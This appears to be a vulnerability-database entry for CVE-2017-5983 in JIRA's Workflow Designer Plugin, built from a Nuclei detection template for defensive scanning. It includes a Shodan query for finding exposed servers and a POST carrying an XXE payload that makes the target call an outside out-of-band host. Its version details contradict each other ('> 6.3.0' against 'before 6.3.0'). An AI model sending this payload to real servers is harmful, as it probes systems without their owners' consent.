🔙 목록으로 돌아가기

CVE-2017-5983: JIRA Workflow Designer Plugin in Atlassian JIRA Server > 6.3.0 - Remote Code Execution (XXE)

TitleJIRA Workflow Designer Plugin in Atlassian JIRA Server > 6.3.0 - Remote Code Execution (XXE)
Authorus3r777,Synacktiv
SeverityCritical
ImpactUnauthenticated attackers can execute arbitrary code on the server, read arbitrary files, or cause denial of service, potentially leading to complete server compromise.
RemediationUpgrade to JIRA Server version 6.3.0 or later.
CVSS Score9.8
EPSS Score0.08385
CVE IDCVE-2017-5983
CWE IDCWE-502
Shodan Queryhttp.title:"system dashboard - jira"cpe:"cpe:2.3:a:atlassian:jira"http.component:"atlassian confluence"http.component:"atlassian jira"
Tags cve cve2017 jira amf rce xxe vuln

🔍 Vulnerability Description

The JIRA Workflow Designer Plugin in Atlassian JIRA Server before 6.3.0 improperly uses an XML parser and deserializer, which allows remote attackers to execute arbitrary code, read arbitrary files, or cause a denial of service via a crafted serialized Java object.

🌐 HTTP Request

GET /secure/Dashboard.jspa HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

GET /jira/secure/Dashboard.jspa HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

GET /login.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

POST /plugins/servlet/jwd/amf/ HTTP/1.1
Host: www.victim.com
Content-Type: application/xml
Content-Length: 160

testtest��<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://d5jqechle0o49u77aek0kka1hpk5t7j9m.oast.site/amf"> %ext; ]>

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-5983.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-5983.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A